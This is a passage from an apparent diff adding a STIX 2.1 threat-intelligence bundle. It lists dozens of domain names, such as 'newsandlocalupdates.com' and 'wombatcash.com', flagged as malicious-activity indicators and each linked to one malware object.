"source_ref": "indicator--28e57b07-9fb3-4368-92f8-cd096d30998c", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7e467d8-c928-4927-b12d-c7b7824acff2", + "created": "2023-04-11T17:02:46.071804Z", + "modified": "2023-04-11T17:02:46.071804Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vinoneros.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.071804Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--074dc30a-729c-4a95-967a-b28885d69d23", + "created": "2023-04-11T17:02:46.07261Z", + "modified": "2023-04-11T17:02:46.07261Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7e467d8-c928-4927-b12d-c7b7824acff2", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3586d321-894f-46f9-8517-13c49144501d", + "created": "2023-04-11T17:02:46.072794Z", + "modified": "2023-04-11T17:02:46.072794Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newsandlocalupdates.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.072794Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--50a8cc72-0a68-4d78-9719-2ef2b7c338f5", + "created": "2023-04-11T17:02:46.073476Z", + "modified": "2023-04-11T17:02:46.073476Z", + "relationship_type": "indicates", + "source_ref": "indicator--3586d321-894f-46f9-8517-13c49144501d", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a35b67e3-65ad-4834-a54a-9011dc89caa1", + "created": "2023-04-11T17:02:46.073655Z", + "modified": "2023-04-11T17:02:46.073655Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newz-globe.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.073655Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b5eb27a2-30ca-4c5a-98ba-bd58f878021b", + "created": "2023-04-11T17:02:46.074449Z", + "modified": "2023-04-11T17:02:46.074449Z", + "relationship_type": "indicates", + "source_ref": "indicator--a35b67e3-65ad-4834-a54a-9011dc89caa1", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25da28f4-f22f-4849-9ec2-cf79b4e5e1dc", + "created": "2023-04-11T17:02:46.07463Z", + "modified": "2023-04-11T17:02:46.07463Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newslocalupdates.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.07463Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--183885f4-e591-4614-a346-4d346c1e0400", + "created": "2023-04-11T17:02:46.075404Z", + "modified": "2023-04-11T17:02:46.075404Z", + "relationship_type": "indicates", + "source_ref": "indicator--25da28f4-f22f-4849-9ec2-cf79b4e5e1dc", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dfdcd958-ec7e-4b66-b7cc-e36ded31661a", + "created": "2023-04-11T17:02:46.075588Z", + "modified": "2023-04-11T17:02:46.075588Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='e-gaming.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.075588Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc80f8c8-bb2c-4849-bb9f-57870db38ab9", + "created": "2023-04-11T17:02:46.076322Z", + "modified": "2023-04-11T17:02:46.076322Z", + "relationship_type": "indicates", + "source_ref": "indicator--dfdcd958-ec7e-4b66-b7cc-e36ded31661a", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d69960ea-8555-405d-9cfe-7a0fc0371974", + "created": "2023-04-11T17:02:46.076504Z", + "modified": "2023-04-11T17:02:46.076504Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pennywines.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.076504Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3265e079-2a37-43e3-a4c8-222cdd417913", + "created": "2023-04-11T17:02:46.077293Z", + "modified": "2023-04-11T17:02:46.077293Z", + "relationship_type": "indicates", + "source_ref": "indicator--d69960ea-8555-405d-9cfe-7a0fc0371974", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c45f72c9-4ed9-4789-94f3-58ef89893a46", + "created": "2023-04-11T17:02:46.077472Z", + "modified": "2023-04-11T17:02:46.077472Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goshopeerz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.077472Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ccfb7712-31bc-4daf-9a61-558838bc91ae", + "created": "2023-04-11T17:02:46.0782Z", + "modified": "2023-04-11T17:02:46.0782Z", + "relationship_type": "indicates", + "source_ref": "indicator--c45f72c9-4ed9-4789-94f3-58ef89893a46", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6eb9106f-bd51-4446-8b6e-bfada43d66c3", + "created": "2023-04-11T17:02:46.078384Z", + "modified": "2023-04-11T17:02:46.078384Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='meehealth.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.078384Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0f52f677-f09d-488f-a95c-ddb23e710dc4", + "created": "2023-04-11T17:02:46.079114Z", + "modified": "2023-04-11T17:02:46.079114Z", + "relationship_type": "indicates", + "source_ref": "indicator--6eb9106f-bd51-4446-8b6e-bfada43d66c3", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bcfd48fe-9ea4-4103-9398-0b05a0a72229", + "created": "2023-04-11T17:02:46.079301Z", + "modified": "2023-04-11T17:02:46.079301Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='koraliowe.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.079301Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6680192d-fe48-46e5-a7fc-da2cc9bfcd57", + "created": "2023-04-11T17:02:46.08003Z", + "modified": "2023-04-11T17:02:46.08003Z", + "relationship_type": "indicates", + "source_ref": "indicator--bcfd48fe-9ea4-4103-9398-0b05a0a72229", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ec29f019-e3fa-43ce-bd72-af419cbaa24b", + "created": "2023-04-11T17:02:46.08021Z", + "modified": "2023-04-11T17:02:46.08021Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='elektrozi.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.08021Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e62013c-7007-4e52-8cbf-e1b3ef92df6d", + "created": "2023-04-11T17:02:46.080852Z", + "modified": "2023-04-11T17:02:46.080852Z", + "relationship_type": "indicates", + "source_ref": "indicator--ec29f019-e3fa-43ce-bd72-af419cbaa24b", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f995a2b7-4ae5-4271-8afb-e8a250e8a976", + "created": "2023-04-11T17:02:46.081036Z", + "modified": "2023-04-11T17:02:46.081036Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stayle.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.081036Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4b322e18-3162-40ce-bd8f-d245d22c4434", + "created": "2023-04-11T17:02:46.081675Z", + "modified": "2023-04-11T17:02:46.081675Z", + "relationship_type": "indicates", + "source_ref": "indicator--f995a2b7-4ae5-4271-8afb-e8a250e8a976", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b273995d-8dae-4c66-81b1-d216faef8b00", + "created": "2023-04-11T17:02:46.081853Z", + "modified": "2023-04-11T17:02:46.081853Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='playozas.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.081853Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4f5b4688-9d60-4505-8c4f-5f97d9ebf5da", + "created": "2023-04-11T17:02:46.082518Z", + "modified": "2023-04-11T17:02:46.082518Z", + "relationship_type": "indicates", + "source_ref": "indicator--b273995d-8dae-4c66-81b1-d216faef8b00", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ccd2999a-0d60-4ece-90d3-f5cfc7cc7ce9", + "created": "2023-04-11T17:02:46.082698Z", + "modified": "2023-04-11T17:02:46.082698Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='comeandpet.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.082698Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--677254ec-33af-41a4-be21-405000574e45", + "created": "2023-04-11T17:02:46.08345Z", + "modified": "2023-04-11T17:02:46.08345Z", + "relationship_type": "indicates", + "source_ref": "indicator--ccd2999a-0d60-4ece-90d3-f5cfc7cc7ce9", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e754938b-343e-4ca1-b3e7-0e1084e1d281", + "created": "2023-04-11T17:02:46.083631Z", + "modified": "2023-04-11T17:02:46.083631Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gameizes.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.083631Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91e756f4-5f46-4c2a-85e4-54e3121052ba", + "created": "2023-04-11T17:02:46.08438Z", + "modified": "2023-04-11T17:02:46.08438Z", + "relationship_type": "indicates", + "source_ref": "indicator--e754938b-343e-4ca1-b3e7-0e1084e1d281", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ec593e7a-bdbe-4139-9986-a20fbb81b0c3", + "created": "2023-04-11T17:02:46.084589Z", + "modified": "2023-04-11T17:02:46.084589Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='powercodings.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.084589Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1552cced-40ca-4fed-a746-2b73a4a7e42d", + "created": "2023-04-11T17:02:46.085237Z", + "modified": "2023-04-11T17:02:46.085237Z", + "relationship_type": "indicates", + "source_ref": "indicator--ec593e7a-bdbe-4139-9986-a20fbb81b0c3", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a68db7f-718a-4f04-87f6-f8a2f4795388", + "created": "2023-04-11T17:02:46.085415Z", + "modified": "2023-04-11T17:02:46.085415Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='biznomex.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.085415Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ae85efcb-140c-4721-be67-d3803ecf4b3d", + "created": "2023-04-11T17:02:46.08613Z", + "modified": "2023-04-11T17:02:46.08613Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a68db7f-718a-4f04-87f6-f8a2f4795388", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ea385c65-3859-4b50-8790-c2248ad50037", + "created": "2023-04-11T17:02:46.086314Z", + "modified": "2023-04-11T17:02:46.086314Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zeebefg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.086314Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83a805c4-c862-4497-8a30-42279f2318f6", + "created": "2023-04-11T17:02:46.087026Z", + "modified": "2023-04-11T17:02:46.087026Z", + "relationship_type": "indicates", + "source_ref": "indicator--ea385c65-3859-4b50-8790-c2248ad50037", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8ac8d5b0-617a-4926-a9dd-512423299128", + "created": "2023-04-11T17:02:46.087214Z", + "modified": "2023-04-11T17:02:46.087214Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wombatcash.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.087214Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d7e7db2-2b05-4d6e-ba47-aed0f4618c46", + "created": "2023-04-11T17:02:46.087863Z", + "modified": "2023-04-11T17:02:46.087863Z", + "relationship_type": "indicates", + "source_ref": "indicator--8ac8d5b0-617a-4926-a9dd-512423299128", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ba0405f-42a9-4be0-80e8-e6149e6dba0b", + "created": "2023-04-11T17:02:46.088042Z", + "modified": "2023-04-11T17:02:46.088042Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='razzodev.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.088042Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bf458353-e415-40cb-9762-0f772429db47", + "created": "2023-04-11T17:02:46.088813Z", + "modified": "2023-04-11T17:02:46.088813Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ba0405f-42a9-4be0-80e8-e6149e6dba0b", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--753e11ee-133b-44d1-9eed-89f311a2bcdb", + "created": "2023-04-11T17:02:46.088992Z", + "modified": "2023-04-11T17:02:46.088992Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='study-search.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.088992Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80097214-97e5-4ab9-bf78-4a3bbedeaac1", + "created": "2023-04-11T17:02:46.089636Z", + "modified": "2023-04-11T17:02:46.089636Z", + "relationship_type": "indicates", + "source_ref": "indicator--753e11ee-133b-44d1-9eed-89f311a2bcdb", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b28f8cb-5fbe-4c26-8bca-b9f65c5fc118", + "created": "2023-04-11T17:02:46.089815Z", + "modified": "2023-04-11T17:02:46.089815Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='styleanature.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.089815Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c2d5a7a-55d0-4597-a48e-d87288249c57", + "created": "2023-04-11T17:02:46.09046Z", + "modified": "2023-04-11T17:02:46.09046Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b28f8cb-5fbe-4c26-8bca-b9f65c5fc118", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b36eccd9-fcba-4106-b9b6-c0cf97edb0d2", + "created": "2023-04-11T17:02:46.090695Z", + "modified": "2023-04-11T17:02:46.090695Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='subcloud.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.090695Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2778845b-a306-46da-a38a-8fb24ac87cdb", + "created": "2023-04-11T17:02:46.091417Z", + "modified": "2023-04-11T17:02:46.091417Z", + "relationship_type": "indicates", + "source_ref": "indicator--b36eccd9-fcba-4106-b9b6-c0cf97edb0d2", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ab9b298-7bb2-40e2-bf53-01d18a9e755b", + "created": "2023-04-11T17:02:46.091599Z", + "modified": "2023-04-11T17:02:46.091599Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='runningandbeyond.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.091599Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eb93320c-e4ab-483e-a250-d9a7c1079cb0", + "created": "2023-04-11T17:02:46.092366Z", + "modified": "2023-04-11T17:02:46.092366Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ab9b298-7bb2-40e2-bf53-01d18a9e755b", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--abfdebd1-f99d-4435-933e-509ce34cfbec", + "created": "2023-04-11T17:02:46.092551Z", + "modified": "2023-04-11T17:02:46.092551Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='navadatime.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.092551Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b22e7f44-7b76-4969-9661-5f726fca7385", + "created": "2023-04-11T17:02:46.093184Z", + "modified": "2023-04-11T17:02:46.093184Z", + "relationship_type": "indicates", + "source_ref": "indicator--abfdebd1-f99d-4435-933e-509ce34cfbec", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--11b716c9-1bc5-4ca0-b4f6-5fc43f798287", + "created": "2023-04-11T17:02:46.093361Z", + "modified": "2023-04-11T17:02:46.093361Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='i-reality.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.093361Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab64a826-9fac-4ade-b4f9-395957c7965d", + "created": "2023-04-11T17:02:46.094079Z", + "modified": "2023-04-11T17:02:46.094079Z", + "relationship_type": "indicates", + "source_ref": "indicator--11b716c9-1bc5-4ca0-b4f6-5fc43f798287", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--345cdf18-e140-4d45-bc7c-939b64827c75", + "created": "2023-04-11T17:02:46.094258Z", + "modified": "2023-04-11T17:02:46.094258Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adeptary.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.094258Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--370b0b3f-d738-4bc3-ab43-1f5641af8f27", + "created": "2023-04-11T17:02:46.09498Z", + "modified": "2023-04-11T17:02:46.09498Z", + "relationship_type": "indicates", + "source_ref": "indicator--345cdf18-e140-4d45-bc7c-939b64827c75", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8215397f-f8fd-4737-b059-08ee5e0686bd", + "created": "2023-04-11T17:02:46.095185Z", + "modified": "2023-04-11T17:02:46.095185Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gardenearthis.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.095185Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8eb6831e-35e0-457b-8c23-b23aa1c54f04", + "created": "2023-04-11T17:02:46.095821Z", + "modified": "2023-04-11T17:02:46.095821Z", + "relationship_type": "indicates", + "source_ref": "indicator--8215397f-f8fd-4737-b059-08ee5e0686bd", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--04828bb8-17aa-4aab-b00c-25cd66e6051c", + "created": "2023-04-11T17:02:46.096Z", + "modified": "2023-04-11T17:02:46.096Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='retailmark.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.096Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b1a2a9dc-8f23-4572-9ce4-58f71a0d478c", + "created": "2023-04-11T17:02:46.096625Z", + "modified": "2023-04-11T17:02:46.096625Z", + "relationship_type": "indicates", + "source_ref": "indicator--04828bb8-17aa-4aab-b00c-25cd66e6051c", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--92cee383-90c7-4940-8c9f-c95832a44290", + "created": "2023-04-11T17:02:46.096802Z", + "modified": "2023-04-11T17:02:46.096802Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='betterstime.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.096802Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ff69cf27-4424-4cba-9714-206e16e1b903", + "created": "2023-04-11T17:02:46.09744Z", + "modified": "2023-04-11T17:02:46.09744Z", + "relationship_type": "indicates", + "source_ref": "indicator--92cee383-90c7-4940-8c9f-c95832a44290", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8938c88a-37a2-4cd2-aad7-0ea226da4545", + "created": "2023-04-11T17:02:46.097617Z", + "modified": "2023-04-11T17:02:46.097617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jyfa.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.097617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7fe2b05-16ac-4f40-8ed9-0cab610a5942", + "created": "2023-04-11T17:02:46.09832Z", + "modified": "2023-04-11T17:02:46.09832Z", + "relationship_type": "indicates", + "source_ref": "indicator--8938c88a-37a2-4cd2-aad7-0ea226da4545", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c04e01c-e12d-4666-85a0-61c4dd6700eb", + "created": "2023-04-11T17:02:46.098504Z", + "modified": "2023-04-11T17:02:46.098504Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deliverystorz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.098504Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f54bae5-6b1a-4d5c-80df-ba3d7f855bbc", + "created": "2023-04-11T17:02:46.099238Z", + "modified": "2023-04-11T17:02:46.099238Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c04e01c-e12d-4666-85a0-61c4dd6700eb", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ba7683e6-559c-4f89-a2cd-cf7fbc6e526e", + "created": "2023-04-11T17:02:46.099421Z", + "modified": "2023-04-11T17:02:46.099421Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hinterfy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.099421Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--491cf176-9319-4da0-bfe9-23068d60ee03", + "created": "2023-04-11T17:02:46.100256Z", + "modified": "2023-04-11T17:02:46.100256Z", + "relationship_type": "indicates", + "source_ref": "indicator--ba7683e6-559c-4f89-a2cd-cf7fbc6e526e", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4b5ba638-8e19-4ec0-b008-8ab96fb9053d", + "created": "2023-04-11T17:02:46.100441Z", + "modified": "2023-04-11T17:02:46.100441Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thepila.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.100441Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--649adaed-d5ad-4cf4-8b92-6923de96d948", + "created": "2023-04-11T17:02:46.101066Z", + "modified": "2023-04-11T17:02:46.101066Z", + "relationship_type": "indicates", + "source_ref": "indicator--4b5ba638-8e19-4ec0-b008-8ab96fb9053d", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02d897d8-9fe1-4143-be15-dc969c209d52", + "created": "2023-04-11T17:02:46.101249Z", + "modified": "2023-04-11T17:02:46.101249Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aqualizas.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.101249Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5021735-d1af-4a6d-8ced-69010147104a", + "created": "2023-04-11T17:02:46.101953Z", + "modified": "2023-04-11T17:02:46.101953Z", + "relationship_type": "indicates", + "source_ref": "indicator--02d897d8-9fe1-4143-be15-dc969c209d52", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--61f20702-8be1-4663-a810-efe0fefc3a2c", + "created": "2023-04-11T17:02:46.102134Z", + "modified": "2023-04-11T17:02:46.102134Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skyphotogreen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.102134Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af9a565c-69dd-4833-9936-760d1fde2d0a", + "created": "2023-04-11T17:02:46.102768Z", + "modified": "2023-04-11T17:02:46.102768Z", + "relationship_type": "indicates", + "source_ref": "indicator--61f20702-8be1-4663-a810-efe0fefc3a2c", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--603aef74-93bb-4811-802e-0fe29d1f98a0", + "created": "2023-04-11T17:02:46.102947Z", + "modified": "2023-04-11T17:02:46.102947Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='motorgamings.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.102947Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7aa7d0c-7927-4177-b2f6-aecf5ca51b56", + "created": "2023-04-11T17:02:46.103588Z", + "modified": "2023-04-11T17:02:46.103588Z", + "relationship_type": "indicates", + "source_ref": "indicator--603aef74-93bb-4811-802e-0fe29d1f98a0", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e9763f8-8146-476e-8b10-52a3e97bf1b6", + "created": "2023-04-11T17:02:46.103765Z", + "modified": "2023-04-11T17:02:46.103765Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bikersrental.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.103765Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f4ad63e-88c0-418c-9cd9-6e74a5b5d94e", + "created": "2023-04-11T17:02:46.104422Z", + "modified": 